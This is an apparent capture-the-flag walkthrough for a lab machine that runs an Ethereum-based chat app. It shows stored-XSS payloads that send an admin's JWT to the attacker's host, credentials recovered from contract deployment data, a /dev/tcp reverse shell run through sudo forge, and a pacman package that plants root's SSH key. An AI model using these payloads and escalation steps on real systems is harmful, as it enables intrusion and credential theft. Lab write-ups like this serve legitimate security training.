Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
| 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-title: Home - DBLC
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
8545/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Besides the pretty common port 22 for a Linux server, there seems to be two HTTP ports.
Initial Access
Browsing to port 80
shows a web page belonging to a secure decentralised blockchain chat. Apparently it’s based on Ethereum
according to the bubble in the lower right corner. Checking the network tab in the browser shows periodic calls to port 8545
with a JSON payload.
{
"jsonrpc":"2.0",
"method":"eth_blockNumber",
"params":[],
"id":1
}
The answer to all this calls is 0xc
that translates to 12
in decimal and corresponds to the latest block number on the blockchain. This identifies the port as the JSON-RPC interface for the Ethereum
blockchain.
The web application allows the registration of a new account and doing so drops me into a chat window with a bot.
Chatting with the bot does not provoke any reaction and looking at my profile just shows the role user
and a history of my messages. Looking at the HTTP requests in the background shows connections to /api/info
and this endpoint returns my JWT, username and role.
On the bottom of the chat window, there’s a link to the smart contracts that were deployed on the blockchain, one is for the database and the other one powers the chat.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;
interface IChat {
function deleteUserMessages(string calldata user) external;
}
contract Database {
struct User {
string password;
string role;
bool exists;
}
address immutable owner;
IChat chat;
mapping(string username => User) users;
event AccountRegistered(string username);
event AccountDeleted(string username);
event PasswordUpdated(string username);
event RoleUpdated(string username);
modifier onlyOwner() {
if (msg.sender != owner) {
revert("Only owner can call this function");
}
_;
}
modifier onlyExistingUser(string memory username) {
if (!users[username].exists) {
revert("User does not exist");
}
_;
}
constructor(string memory secondaryAdminUsername,string memory password) {
users["admin"] = User(password, "admin", true);
owner = msg.sender;
registerAccount(secondaryAdminUsername, password);
}
function accountExist(string calldata username) public view returns (bool) {
return users[username].exists;
}
function getAccount(
string calldata username
)
public
view
onlyOwner
onlyExistingUser(username)
returns (string memory, string memory, string memory)
{
return (username, users[username].password, users[username].role);
}
function setChatAddress(address _chat) public {
if (address(chat) != address(0)) {
revert("Chat address already set");
}
chat = IChat(_chat);
}
function registerAccount(
string memory username,
string memory password
) public onlyOwner {
if (
keccak256(bytes(users[username].password)) != keccak256(bytes(""))
) {
revert("Username already exists");
}
users[username] = User(password, "user", true);
emit AccountRegistered(username);
}
function deleteAccount(string calldata username) public onlyOwner {
if (!users[username].exists) {
revert("User does not exist");
}
delete users[username];
chat.deleteUserMessages(username);
emit AccountDeleted(username);
}
function updatePassword(
string calldata username,
string calldata oldPassword,
string calldata newPassword
) public onlyOwner onlyExistingUser(username) {
if (
keccak256(bytes(users[username].password)) !=
keccak256(bytes(oldPassword))
) {
revert("Invalid password");
}
users[username].password = newPassword;
emit PasswordUpdated(username);
}
function updateRole(
string calldata username,
string calldata role
) public onlyOwner onlyExistingUser(username) {
if (!users[username].exists) {
revert("User does not exist");
}
users[username].role = role;
emit RoleUpdated(username);
}
}
The more interesting of the two is the database contract. It does include a constructor that accepts an username and a password for an admin user. Since all those information are stored on the blockchain, I might be able to find those credentials. Unfortunately trying to access anything other than eth_blockNumber
via the port 8545
returns an error due to a missing token, so that seems to be a dead end (for now).
The chat window also includes a Report User
button that opens a new popup to ask for a username. BurpSuite shows a request with that value to /api/report_user
. There’s a chance that this name will be displayed on another web page for an administrator to look at. Trying out a simple XSS that loads an image shows a hit on my web server.
<img src='http://10.10.10.10/hello.jpg'></img>
This confirms my assumption and I’ll move on to steal the cookie from the viewing user. Since the cookie has the HTTPonly
flag set, I can’t pull it directly from the browser, but luckily there’s the endpoint I’ve discovered beforehand. Querying the API and sending the response to my web server should include the JWT.
const xhr = new XMLHttpRequest();
xhr.open("GET","/api/info",false);
xhr.send();
const exfil = new XMLHttpRequest();
exfil.open("GET","http://10.10.10.10/exfil="+btoa(xhr.responseText));
exfil.send();
Hosting a file called xss.js
on my server that performs the actions and then loading it via the report functionality. The following payload adds a new script
tag to the page, triggering the exfiltration.
{
"username":"<img src=x onerror='var abc = document.createElement(\"script\");abc.setAttribute(\"src\",\"http://10.10.10.10/xss.js\");document.head.appendChild(abc);'></img>"
}
This creates two hits on my web server, first the xss.js
and then followed by the base64 encoded response from the API.
$ echo "eyJyb2xlIjoiYWRtaW4iLCJ0b2tlbiI6ImV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUptY21WemFDSTZabUZzYzJVc0ltbGhkQ0k2TVRjME1UUTFOVEF5TlN3aWFuUnBJam9pTlRBM09UZGlPR1F0TldVME5pMDBORGt6TFRrNE9URXRNRFV4TVdKbU1XTmpNVFkzSWl3aWRIbHdaU0k2SW1GalkyVnpjeUlzSW5OMVlpSTZJbUZrYldsdUlpd2libUptSWpveE56UXhORFUxTURJMUxDSmxlSEFpT2pFM05ESXdOVGs0TWpWOS5XeTFhSmZCSEY3ZzE2Vk5wVHkwNlJnNVJVX2dXOU5mbWNJRi03cWtZUEIwIiwidXNlcm5hbWUiOiJhZG1pbiJ9Cg==" | base64 -d | jq .
{
"role": "admin",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MTQ1NTAyNSwianRpIjoiNTA3OTdiOGQtNWU0Ni00NDkzLTk4OTEtMDUxMWJmMWNjMTY3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzQxNDU1MDI1LCJleHAiOjE3NDIwNTk4MjV9.Wy1aJfBHF7g16VNpTy06Rg5RU_gW9NfmcIF-7qkYPB0",
"username": "admin"
}
Replacing the cookie in my browser and refreshing the page grants me access to the admin panel. On there I can see the registered users. Besides my own account there’s also keira
.
Once again in the background I see requests to /api/json-rpc
querying the balance of an Ethereum wallet. This time the headers include a token
- probably the missing value to talk to the RPC interface.
Adding this request to Repeater in BurpSuite I try to query other API methods to enumerate the blockchain. Since the landing page only showed 12 blocks in total, I start there to find the block that created the smart contract1.
{
"jsonrpc":"2.0",
"method":"eth_getBlockByNumber",
"params":[
"0x1",
true
],
"id":1
}
Sending a payload to retrieve the very first block works and I receive lots of information including the input that was sent along.
The input value is just a long hex string, prefixed with 0x
. There are ways to decode the data properly but here it’s enough to remove the prefix and decode the hex. This results in a lot of non-printable data but contains readable strings at the end. One of those is the username keira
and, based on the constructor of the smart contract, the password SomedayBitCoinWillCollapse
.
Trying those credentials on SSH grants me access as keira
and I’m able to read the first flag.
Privilege Escalation
Shell as paul
Checking for sudo
privileges shows that I can run forge
as paul
. It’s part of a modular toolkit to interact with Ethereum called Foundry.
$ sudo -l
User keira may run the following commands on blockblock:
(paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
The documentation shows the first steps with forge
being a call to init
to create a new directory with the needed files. Then the project is compiled with build
. Consulting the help for the build
command shows the parameter --use
that can be used select the solc
version or binary to be used2. This might be used to run any command.
$ cat << EOF > /tmp/shell.sh
#!/bin/bash
sh -i >& /dev/tcp/10.10.10.10/4444 0>&1
EOF
$ chmod +x /tmp/shell.sh
$ cd /dev/shm
$ sudo -u paul /home/paul/.foundry/bin/forge init hello && cd hello
Initializing /dev/shm/hello...
$ sudo -u paul /home/paul/.foundry/bin/forge build --use /tmp/shell.sh
# hangs...
First I prepare a script with a reverse shell and make it executable. Then I initialize a new project called hello
within /dev/shm
as paul
. After running the build
command and specifying my script in the --use
parameter, I get a callback on my listener as paul
.
Shell as root
Repeating the previous step and checking for sudo
privileges shows that paul
can run pacman
as root.
$ sudo -l
User paul may run the following commands on blockblock:
(ALL : ALL) NOPASSWD: /usr/bin/pacman
This means I can just create a package for pacman
that adds places an authorized_keys
file with my public key into the .ssh
directory for the root user. Creating such a package is quite simple and described in detail here.
$ mkdir priv && cd priv
$ cat <<EOF >PKGBUILD
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="Privilege Escalation Package"
arch=('any')
url="http://example.com"
license=('GPL')
depends=()
makedepends=()
source=('authorized_keys')
sha256sums=('SKIP')
package() {
install -Dm755 "\$srcdir/authorized_keys" "\$pkgdir/root/.ssh/authorized_keys"
}
EOF
$ echo "ssh-rsa ..." > authorized_keys
$ makepkg
==> Making package: privesc 1.0-1 (Sat 08 Mar 2025 06:20:40 PM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
-> Found authorized_keys
==> Validating source files with sha256sums...
authorized_keys ... Skipped
==> Extracting sources...
==> Entering fakeroot environment...
==> Starting package()...
==> Tidying install...
-> Removing libtool files...
-> Purging unwanted files...
-> Removing static library files...
-> Stripping unneeded symbols from binaries and libraries...
-> Compressing man and info pages...
==> Checking for packaging issues...
==> Creating package "privesc"...
-> Generating .PKGINFO file...
-> Generating .BUILDINFO file...
-> Generating .MTREE file...
-> Compressing package...
==> Leaving fakeroot environment.
==> Finished making: privesc 1.0-1 (Sat 08 Mar 2025 06:20:42 PM UTC)
After successfully building the pacman
package, I can proceed to install it. This works like a charm and I can use my SSH key to login as root
to collect the final flag.
$ sudo /usr/bin/pacman -U privesc-1.0-1-any.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) privesc-1.0-1
Total Installed Size: 0.00 MiB
:: Proceed with installation? [Y/n] y
(1/1) checking keys in keyring [#######################################################################################] 100%
(1/1) checking package integrity [#######################################################################################] 100%
(1/1) loading package files [#######################################################################################] 100%
(1/1) checking for file conflicts [#######################################################################################] 100%
(1/1) checking available disk space [#######################################################################################] 100%
:: Processing package changes...
(1/1) installing privesc [#######################################################################################] 100%
warning: directory permissions differ on /root/
filesystem: 700 package: 755
warning: directory permissions differ on /root/.ssh/
filesystem: 700 package: 755
Attack Path
flowchart TD subgraph "Initial Access" A(Chat) -->|Cross-Site Scripting| B(Admin Cookie) B -->|Access to Admin Panel| C(Token for JSON-RPC interface) C -->|Enumerate blocks on Ethereum blockchain| D(Input for Smart Contract) D -->|Decode Input| E(Credentials for keira) end subgraph "Privilege Escalation" E -->|Run foundry build as paul| F(Shell as paul) F -->|Run pacman as root and install backdoored package| G(Shell as root) end